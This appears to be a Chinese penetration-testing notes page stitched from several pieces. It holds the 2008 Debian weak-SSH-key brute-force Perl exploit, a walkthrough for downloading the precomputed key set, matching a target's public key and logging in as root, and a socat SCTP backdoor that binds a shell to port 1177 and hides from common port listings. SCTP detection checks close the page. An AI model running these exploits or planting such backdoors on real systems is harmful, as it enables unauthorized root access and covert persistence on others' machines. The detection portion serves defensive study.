52#!/usr/bin/perl53my $keysPerConnect = 6;54unless ($ARGV[1]) {55 print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";56 print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";57 print "By mm@deadbeef.de\n";58 exit 0;59}60chdir($ARGV[0]);61opendir(A, $ARGV[0]) || die("opendir");62while ($_ = readdir(A)) {63 chomp;64 next unless m,^\d+$,;65 push(@a, $_);66 if (scalar(@a) > $keysPerConnect) {67 system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i68".$_ } @a)." ".$ARGV[1]);69 @a = ();70 }71}72
735. Enjoy the shell after some minutes (less than 20 minutes)74
75Regards,76Markus Mueller77mm@deadbeef.de78
79# milw0rm.com [2008-05-15]1现在的思路是拿到了公钥,需要私钥进行提权,这里用的是私钥库进行碰撞,ssh的非堆成加密算法中涉及到PRNG机制,可以用伪随机数生成密钥来进行碰撞,碰撞成功则能够登录靶机2
31、下载文件4wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz252、解压缩6sudo tar vjxf 5622.tar.bz27# v:表示详细模式(verbose),在解压缩过程中显示详细信息8# j:表示要解压缩的文件是使用 bzip2 压缩算法压缩的9# x:表示执行解压缩操作10# f:表示接下来的参数是要操作的文件11
12# 在碰撞的时候公钥取值不要太长或太短,太长则匹配速度慢,太短可能匹配到多个文件,一般30-40个字符内容即可13grep -lr "RSA公钥部分内容"14# l:将匹配到的内容输出15# r:递归搜索16# 搜索到的结果是公钥.pub文件,其对应的私钥是没有后缀的文件,得到私钥后,可以保存为key后进行登录17sudo ssh -i 私钥文件 用户@IP1PS:21、Unable to negotiate with 10.1.239.136 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss3不能和这台机器在25端口进行写上,因为有主键类型未被发现,这里使用下面的命令,加上密钥类型ssh-rsa,ssh-dss4sudo ssh -i 私钥文件 用户@IP -oHostKeyAlgorithms=ssh-rsa,ssh-dss5
62、发现还是需要密码7sudo ssh -i 私钥文件 用户@IP -oHostKeyAlgorithms=ssh-rsa,ssh-dss -vv8使用-vv参数查看调试信息9debug1: Trying private key: dcbe2a56e8cdea6d17495f6648329ee2-467910sign_and_send_pubkey: no mutual signature supported11debug2: we did not send a packet, disable method12debug1: Next authentication method: password13# 没有共同签名的支持,这里使用-oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss,公钥能够接受的密钥类型14sudo ssh -i 私钥文件 用户@IP -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss15# 成功登录SCTP协议后门
SCTP协议在Linux上的应用主要为电信行业提供可靠通信。虽然它有合法用途,但也可能成为一种隐蔽的方式,用于访问Linux系统并规避检测。很多团队可能不会监控这种类型的流量,而数据包过滤器也会因配置错误导致其绕过防火墙。
此外,SCTP在大量Linux系统上默认启用,但很少被实际使用, 这为恶意行为提供了可乘之机。特别是如果不是电信企业,在网络中看到SCTP流量可能就是一个危险信号,如果是电信企业,恶意SCTP流量则可能轻易混入正常流量,同样也需要监控。
socat, 这是一款强大的命令行工具, 用于在两个数据流(sockets、文件、设备等)之间建立双向通道。
1# ubuntu系统中,可以使用以下命令安装:2apt install socat -y使用socat命令配合SCTP协议构建一个简单的SCTP后门,攻击是通过SCTP协议进行的,如果安全团队没有专门监控此协议的流量,很可能会忽略它。在本示例中为了演示,仅执行id命令,然后断开连接。实际应用中,socat命令通常会将攻击者连接到完整的系统Shell。
1socat SCTP-Listen:1177,fork EXEC:/usr/bin/id2
3socat SCTP-Listen:1177,fork EXEC:/usr/bin/sh该命令的作用是:在本地监听SCTP协议的1177端口,一旦有连接建立,就执行/usr/bin/id命令,并把命令的输出结果通过SCTP发送回客户端。
另找一台机器, 利用socat连接1177命令:
1socat - SCTP:10.1.239.148:1177如果运行netstat或ss等Linux命令,并使用常见参数,是看不到这类端口的,下面运行了命令:ss -ltun来列出所有监听的TCP和UDP端口,注意, SCTP后门并不在其中。
可以使用ss -l选项列出所有监听的套接字,但这样会输出大量数据,一个快捷方式是使用:ss -lStu,它会专门包括SCTP以及正在监听的TCP/UDP端口。
检查SCTP是否启用
由于很多Linux系统默认启用了SCTP,你可能想知道如何检查你的系统是否启用了它。首先,可以使用以下命令检查内核模块是否已加载
1lsmod | grep sctp接下来可以检查/proc/net/protocols,确认其中是否列出了SCTP协议
最后,可以检查/proc/net/sctp/eps,查看有哪些套接字在使用该协议。基本上如果在这里看到内容,但在系统工具中没有显示,那就可能是某些内容在隐藏。
部分信息可能已经过时